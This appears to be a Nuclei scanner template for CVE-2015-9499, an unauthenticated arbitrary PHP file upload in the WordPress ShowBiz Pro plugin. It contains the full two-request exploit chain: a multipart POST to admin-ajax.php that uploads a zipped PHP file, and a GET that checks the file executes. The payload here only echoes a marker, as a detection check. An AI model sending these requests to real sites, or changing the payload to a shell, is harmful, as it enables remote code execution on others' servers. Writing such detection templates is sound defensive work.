漏洞描述
The WordPress ShowBiz Pro plugin version <= 1.7.1 allows arbitrary PHP file upload via the `admin-ajax.php` endpoint.This leads to unauthenticated remote code execution.
id: CVE-2015-9499
info:
name: WordPress ShowBiz Pro <= 1.7.1 - Authenticated Arbitrary File Upload to RCE
author: iamnoooob,pdresearch
severity: critical
description: |
The WordPress ShowBiz Pro plugin version <= 1.7.1 allows arbitrary PHP file upload via the `admin-ajax.php` endpoint.This leads to unauthenticated remote code execution.
reference:
- https://wpscan.com/vulnerability/1c8f1872-a699-464a-9c6b-f8a49ca22ecb/
- https://nvd.nist.gov/vuln/detail/CVE-2015-9499
- https://packetstormsecurity.com/files/132737/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2015-9499
cwe-id: CWE-434
epss-score: 0.64458
epss-percentile: 0.984
cpe: cpe:2.3:a:themepunch:showbiz_pro:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: themepunch
product: showbiz_pro
framework: wordpress
tags: cve,cve2015,wpscan,packetstorm,wp,wordpress,wp-plugin,showbiz,uplo,intrusive
variables:
marker: "{{randstr}}"
b64marker: "{{base64(marker)}}"
filename: "{{rand_base(5)}}"
http:
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryWJDMjlXCUnC1rnZg
------WebKitFormBoundaryWJDMjlXCUnC1rnZg
Content-Disposition: form-data; name="action"
showbiz_ajax_action
------WebKitFormBoundaryWJDMjlXCUnC1rnZg
Content-Disposition: form-data; name="client_action"
update_plugin
------WebKitFormBoundaryWJDMjlXCUnC1rnZg
Content-Disposition: form-data; name="update_file"; filename="{{filename}}.zip"
Content-Type: application/zip
{{zip('{{filename}}.php','<?php echo base64_decode(\'{{b64marker}}\'); ?>')}}
------WebKitFormBoundaryWJDMjlXCUnC1rnZg--
matchers:
- type: dsl
dsl:
- "status_code == 200"
- "contains_all(body,'Update in progress...','wp-admin/admin.php?page=showbiz&view=sliders')"
condition: and
internal: true
- raw:
- |
GET /wp-content/plugins/showbizpro/temp/update_extract/{{filename}}.php HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- "status_code == 200"
- "contains(body,'{{marker}}')"
condition: and
# digest: 490a0046304402202e9fd2cc52989a8af1edc00ca0de795092b83948790146811b7dcc3aa26a52fd02204898f15ac65f372d66f5e85899061c3e1caefaf7285a3a96ea708368bdbd9f6e:922c64590222798bb761d5b6d8e72950